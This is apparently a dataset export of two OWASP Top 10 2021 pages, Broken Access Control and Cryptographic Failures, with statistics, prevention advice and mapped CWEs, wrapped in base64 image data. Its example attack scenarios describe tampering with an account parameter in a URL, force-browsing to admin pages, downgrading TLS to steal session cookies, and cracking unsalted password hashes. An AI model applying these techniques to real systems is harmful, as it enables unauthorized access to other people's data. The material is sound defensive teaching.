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){: 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## Factors
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 34 | 55.97% | 3.81% | 6.92 | 5.93 | 94.55% | 47.72% | 318,487 | 19,013 |
## Overview
Moving up from the fifth position, 94% of applications were tested for
some form of broken access control with the average incidence rate of 3.81%, and has the most occurrences in the contributed dataset with over 318k. Notable Common Weakness Enumerations (CWEs) included are *CWE-200: Exposure of Sensitive Information to an Unauthorized Actor*, *CWE-201:
Insertion of Sensitive Information Into Sent Data*, and *CWE-352:
Cross-Site Request Forgery*.
## Description
Access control enforces policy such that users cannot act outside of
their intended permissions. Failures typically lead to unauthorized
information disclosure, modification, or destruction of all data or
performing a business function outside the user's limits. Common access
control vulnerabilities include:
- Violation of the principle of least privilege or deny by default,
where access should only be granted for particular capabilities,
roles, or users, but is available to anyone.
- Bypassing access control checks by modifying the URL (parameter
tampering or force browsing), internal application state, or the
HTML page, or by using an attack tool modifying API requests.
- Permitting viewing or editing someone else's account, by providing
its unique identifier (insecure direct object references)
- Accessing API with missing access controls for POST, PUT and DELETE.
- Elevation of privilege. Acting as a user without being logged in or
acting as an admin when logged in as a user.
- Metadata manipulation, such as replaying or tampering with a JSON
Web Token (JWT) access control token, or a cookie or hidden field
manipulated to elevate privileges or abusing JWT invalidation.
- CORS misconfiguration allows API access from unauthorized/untrusted
origins.
- Force browsing to authenticated pages as an unauthenticated user or
to privileged pages as a standard user.
## How to Prevent
Access control is only effective in trusted server-side code or
server-less API, where the attacker cannot modify the access control
check or metadata.
- Except for public resources, deny by default.
- Implement access control mechanisms once and re-use them throughout
the application, including minimizing Cross-Origin Resource Sharing (CORS) usage.
- Model access controls should enforce record ownership rather than
accepting that the user can create, read, update, or delete any
record.
- Unique application business limit requirements should be enforced by
domain models.
- Disable web server directory listing and ensure file metadata (e.g.,
.git) and backup files are not present within web roots.
- Log access control failures, alert admins when appropriate (e.g.,
repeated failures).
- Rate limit API and controller access to minimize the harm from
automated attack tooling.
- Stateful session identifiers should be invalidated on the server after logout.
Stateless JWT tokens should rather be short-lived so that the window of
opportunity for an attacker is minimized. For longer lived JWTs it's highly recommended to
follow the OAuth standards to revoke access.
Developers and QA staff should include functional access control unit
and integration tests.
## Example Attack Scenarios
**Scenario #1:** The application uses unverified data in a SQL call that
is accessing account information:
```
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
```
An attacker simply modifies the browser's 'acct' parameter to send
whatever account number they want. If not correctly verified, the
attacker can access any user's account.
```
https://example.com/app/accountInfo?acct=notmyacct
```
**Scenario #2:** An attacker simply forces browses to target URLs. Admin
rights are required for access to the admin page.
```
https://example.com/app/getappInfo
https://example.com/app/admin_getappInfo
```
If an unauthenticated user can access either page, it's a flaw. If a
non-admin can access the admin page, this is a flaw.
## References
- [OWASP Proactive Controls: Enforce Access
Controls](https://owasp.org/www-project-proactive-controls/v3/en/c7-enforce-access-controls)
- [OWASP Application Security Verification Standard: V4 Access
Control](https://owasp.org/www-project-application-security-verification-standard)
- [OWASP Testing Guide: Authorization
Testing](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/README)
- [OWASP Cheat Sheet: Authorization](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html)
- [PortSwigger: Exploiting CORS
misconfiguration](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
- [OAuth: Revoking Access](https://www.oauth.com/oauth2-servers/listing-authorizations/revoking-access/)
## List of Mapped CWEs
[CWE-22 Improper Limitation of a Pathname to a Restricted Directory
('Path Traversal')](https://cwe.mitre.org/data/definitions/22.html)
[CWE-23 Relative Path Traversal](https://cwe.mitre.org/data/definitions/23.html)
[CWE-35 Path Traversal: '.../...//'](https://cwe.mitre.org/data/definitions/35.html)
[CWE-59 Improper Link Resolution Before File Access ('Link Following')](https://cwe.mitre.org/data/definitions/59.html)
[CWE-200 Exposure of Sensitive Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/200.html)
[CWE-201 Exposure of Sensitive Information Through Sent Data](https://cwe.mitre.org/data/definitions/201.html)
[CWE-219 Storage of File with Sensitive Data Under Web Root](https://cwe.mitre.org/data/definitions/219.html)
[CWE-264 Permissions, Privileges, and Access Controls (should no longer be used)](https://cwe.mitre.org/data/definitions/264.html)
[CWE-275 Permission Issues](https://cwe.mitre.org/data/definitions/275.html)
[CWE-276 Incorrect Default Permissions](https://cwe.mitre.org/data/definitions/276.html)
[CWE-284 Improper Access Control](https://cwe.mitre.org/data/definitions/284.html)
[CWE-285 Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)
[CWE-352 Cross-Site Request Forgery (CSRF)](https://cwe.mitre.org/data/definitions/352.html)
[CWE-359 Exposure of Private Personal Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/359.html)
[CWE-377 Insecure Temporary File](https://cwe.mitre.org/data/definitions/377.html)
[CWE-402 Transmission of Private Resources into a New Sphere ('Resource Leak')](https://cwe.mitre.org/data/definitions/402.html)
[CWE-425 Direct Request ('Forced Browsing')](https://cwe.mitre.org/data/definitions/425.html)
[CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')](https://cwe.mitre.org/data/definitions/441.html)
[CWE-497 Exposure of Sensitive System Information to an Unauthorized Control Sphere](https://cwe.mitre.org/data/definitions/497.html)
[CWE-538 Insertion of Sensitive Information into Externally-Accessible File or Directory](https://cwe.mitre.org/data/definitions/538.html)
[CWE-540 Inclusion of Sensitive Information in Source Code](https://cwe.mitre.org/data/definitions/540.html)
[CWE-548 Exposure of Information Through Directory Listing](https://cwe.mitre.org/data/definitions/548.html)
[CWE-552 Files or Directories Accessible to External Parties](https://cwe.mitre.org/data/definitions/552.html)
[CWE-566 Authorization Bypass Through User-Controlled SQL Primary Key](https://cwe.mitre.org/data/definitions/566.html)
[CWE-601 URL Redirection to Untrusted Site ('Open Redirect')](https://cwe.mitre.org/data/definitions/601.html)
[CWE-639 Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)
[CWE-651 Exposure of WSDL File Containing Sensitive Information](https://cwe.mitre.org/data/definitions/651.html)
[CWE-668 Exposure of Resource to Wrong Sphere](https://cwe.mitre.org/data/definitions/668.html)
[CWE-706 Use of Incorrectly-Resolved Name or Reference](https://cwe.mitre.org/data/definitions/706.html)
[CWE-862 Missing Authorization](https://cwe.mitre.org/data/definitions/862.html)
[CWE-863 Incorrect Authorization](https://cwe.mitre.org/data/definitions/863.html)
[CWE-913 Improper Control of Dynamically-Managed Code Resources](https://cwe.mitre.org/data/definitions/913.html)
[CWE-922 Insecure Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/922.html)
[CWE-1275 Sensitive Cookie with Improper SameSite Attribute](https://cwe.mitre.org/data/definitions/1275.html)
|
A02_2021-Cryptographic_Failures.md | ./Top10/2021/docs/A02_2021-Cryptographic_Failures.md | # A02:2021 – Cryptographic Failures ![icon](assets/TOP_10_Icons_Final_Crypto_Failures.png){: style="height:80px;width:80px" align="right"}
## Factors
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 29 | 46.44% | 4.49% |7.29 | 6.81 | 79.33% | 34.85% | 233,788 | 3,075 |
## Overview
Shifting up one position to #2, previously known as *Sensitive Data
Exposure*, which is more of a broad symptom rather than a root cause,
the focus is on failures related to cryptography (or lack thereof).
Which often lead to exposure of sensitive data. Notable Common Weakness Enumerations (CWEs) included
are *CWE-259: Use of Hard-coded Password*, *CWE-327: Broken or Risky
Crypto Algorithm*, and *CWE-331 Insufficient Entropy*.
## Description
The first thing is to determine the protection needs of data in transit
and at rest. For example, passwords, credit card numbers, health
records, personal information, and business secrets require extra
protection, mainly if that data falls under privacy laws, e.g., EU's
General Data Protection Regulation (GDPR), or regulations, e.g.,
financial data protection such as PCI Data Security Standard (PCI DSS).
For all such data:
- Is any data transmitted in clear text? This concerns protocols such
as HTTP, SMTP, FTP also using TLS upgrades like STARTTLS. External
internet traffic is hazardous. Verify all internal traffic, e.g.,
between load balancers, web servers, or back-end systems.
- Are any old or weak cryptographic algorithms or protocols used either
by default or in older code?
- Are default crypto keys in use, weak crypto keys generated or
re-used, or is proper key management or rotation missing?
Are crypto keys checked into source code repositories?
- Is encryption not enforced, e.g., are any HTTP headers (browser)
security directives or headers missing?
- Is the received server certificate and the trust chain properly validated?
- Are initialization vectors ignored, reused, or not generated
sufficiently secure for the cryptographic mode of operation?
Is an insecure mode of operation such as ECB in use? Is encryption
used when authenticated encryption is more appropriate?
- Are passwords being used as cryptographic keys in absence of a
password base key derivation function?
- Is randomness used for cryptographic purposes that was not designed
to meet cryptographic requirements? Even if the correct function is
chosen, does it need to be seeded by the developer, and if not, has
the developer over-written the strong seeding functionality built into
it with a seed that lacks sufficient entropy/unpredictability?
- Are deprecated hash functions such as MD5 or SHA1 in use, or are
non-cryptographic hash functions used when cryptographic hash functions
are needed?
- Are deprecated cryptographic padding methods such as PKCS number 1 v1.5
in use?
- Are cryptographic error messages or side channel information
exploitable, for example in the form of padding oracle attacks?
See ASVS Crypto (V7), Data Protection (V9), and SSL/TLS (V10)
## How to Prevent
Do the following, at a minimum, and consult the references:
- Classify data processed, stored, or transmitted by an application.
Identify which data is sensitive according to privacy laws,
regulatory requirements, or business needs.
- Don't store sensitive data unnecessarily. Discard it as soon as
possible or use PCI DSS compliant tokenization or even truncation.
Data that is not retained cannot be stolen.
- Make sure to encrypt all sensitive data at rest.
- Ensure up-to-date and strong standard algorithms, protocols, and
keys are in place; use proper key management.
- Encrypt all data in transit with secure protocols such as TLS with
forward secrecy (FS) ciphers, cipher prioritization by the
server, and secure parameters. Enforce encryption using directives
like HTTP Strict Transport Security (HSTS).
- Disable caching for response that contain sensitive data.
- Apply required security controls as per the data classification.
- Do not use legacy protocols such as FTP and SMTP for transporting
sensitive data.
- Store passwords using strong adaptive and salted hashing functions
with a work factor (delay factor), such as Argon2, scrypt, bcrypt or
PBKDF2.
- Initialization vectors must be chosen appropriate for the mode of
operation. For many modes, this means using a CSPRNG (cryptographically
secure pseudo random number generator). For modes that require a
nonce, then the initialization vector (IV) does not need a CSPRNG. In all cases, the IV
should never be used twice for a fixed key.
- Always use authenticated encryption instead of just encryption.
- Keys should be generated cryptographically randomly and stored in
memory as byte arrays. If a password is used, then it must be converted
to a key via an appropriate password base key derivation function.
- Ensure that cryptographic randomness is used where appropriate, and
that it has not been seeded in a predictable way or with low entropy.
Most modern APIs do not require the developer to seed the CSPRNG to
get security.
- Avoid deprecated cryptographic functions and padding schemes, such as
MD5, SHA1, PKCS number 1 v1.5 .
- Verify independently the effectiveness of configuration and
settings.
## Example Attack Scenarios
**Scenario #1**: An application encrypts credit card numbers in a
database using automatic database encryption. However, this data is
automatically decrypted when retrieved, allowing a SQL injection flaw to
retrieve credit card numbers in clear text.
**Scenario #2**: A site doesn't use or enforce TLS for all pages or
supports weak encryption. An attacker monitors network traffic (e.g., at
an insecure wireless network), downgrades connections from HTTPS to
HTTP, intercepts requests, and steals the user's session cookie. The
attacker then replays this cookie and hijacks the user's (authenticated)
session, accessing or modifying the user's private data. Instead of the
above they could alter all transported data, e.g., the recipient of a
money transfer.
**Scenario #3**: The password database uses unsalted or simple hashes to
store everyone's passwords. A file upload flaw allows an attacker to
retrieve the password database. All the unsalted hashes can be exposed
with a rainbow table of pre-calculated hashes. Hashes generated by
simple or fast hash functions may be cracked by GPUs, even if they were
salted.
## References
- [OWASP Proactive Controls: Protect Data Everywhere](https://owasp.org/www-project-proactive-controls/v3/en/c8-protect-data-everywhere)
- [OWASP Application Security Verification Standard (V7, 9, 10)](https://owasp.org/www-project-application-security-verification-standard)
- [OWASP Cheat Sheet: Transport Layer Protection](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html)
- [OWASP Cheat Sheet: User Privacy Protection](https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html)
- [OWASP Cheat Sheet: Password Storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)
- [OWASP Cheat Sheet: Cryptographic Storage](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)
- [OWASP Cheat Sheet: HSTS](https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)
- [OWASP Testing Guide: Testing for weak cryptography](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/README)
## List of Mapped CWEs
[CWE-261 Weak Encoding for Password](https://cwe.mitre.org/data/definitions/261.html)
[CWE-296 Improper Following of a Certificate's Chain of Trust](https://cwe.mitre.org/data/definitions/296.html)
[CWE-310 Cryptographic Issues](https://cwe.mitre.org/data/definitions/310.html)
[CWE-319 Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html)
[CWE-321 Use of Hard-coded Cryptographic Key](https://cwe.mitre.org/data/definitions/321.html)
[CWE-322 Key Exchange without Entity Authentication](https://cwe.mitre.org/data/definitions/322.html)
[CWE-323 Reusing a Nonce, Key Pair in Encryption](https://cwe.mitre.org/data/definitions/323.html)
[CWE-324 Use of a Key Past its Expiration Date](https://cwe.mitre.org/data/definitions/324.html)
[CWE-325 Missing Required Cryptographic Step](https://cwe.mitre.org/data/definitions/325.html)
[CWE-326 Inadequate Encryption Strength](https://cwe.mitre.org/data/definitions/326.html)
[CWE-327 Use of a Broken or Risky Cryptographic Algorithm](https://cwe.mitre.org/data/definitions/327.html)
[CWE-328 Reversible One-Way Hash](https://cwe.mitre.org/data/definitions/328.html)
[CWE-329 Not Using a Random IV with CBC Mode](https://cwe.mitre.org/data/definitions/329.html)
[CWE-330 Use of Insufficiently Random Values](https://cwe.mitre.org/data/definitions/330.html)
[CWE-331 Insufficient Entropy](https://cwe.mitre.org/data/definitions/331.html)
[CWE-335 Incorrect Usage of Seeds in Pseudo-Random Number Generator(PRNG)](https://cwe.mitre.org/data/definitions/335.html)
[CWE-336 Same Seed in Pseudo-Random Number Generator (PRNG)](https://cwe.mitre.org/data/definitions/336.html)
[CWE-337 Predictable Seed in Pseudo-Random Number Generator (PRNG)](https://cwe.mitre.org/data/definitions/337.html)
[CWE-338 Use of Cryptographically Weak Pseudo-Random Number Generator(PRNG)](https://cwe.mitre.org/data/definitions/338.html)
[CWE-340 Generation of Predictable Numbers or Identifiers](https://cwe.mitre.org/data/definitions/340.html)
[CWE-347 Improper Verification of Cryptographic Signature](https://cwe.mitre.org/data/definitions/347.html)
[CWE-523 Unprotected Transport of Credentials](https://cwe.mitre.org/data/definitions/523.html)
[CWE-720 OWASP Top Ten 2007 Category A9 - Insecure Communications](https://cwe.mitre.org/data/definitions/720.html)
[CWE-757 Selection of Less-Secure Algorithm During Negotiation('Algorithm Downgrade')](https://cwe.mitre.org/data/definitions/757.html)
[CWE-759 Use of a One-Way Hash without a Salt](https://cwe.mitre.org/data/definitions/759.html)
[CWE-760 Use of a One-Way Hash with a Predictable Salt](https://cwe.mitre.org/data/definitions/760.html)
[CWE-780 Use of RSA Algorithm without OAEP](https://cwe.mitre.org/data/definitions/780.html)
[CWE-818 Insufficient Transport Layer Protection](https://cwe.mitre.org/data/definitions/818.html)
[CWE-916 Use of Password Hash With Insufficient Computational Effort](https://cwe.mitre.org/data/definitions/916.html)
| 11,194 | 0.010677 | # A02:2021 – Cryptographic Failures ![icon](data:image/png;base64,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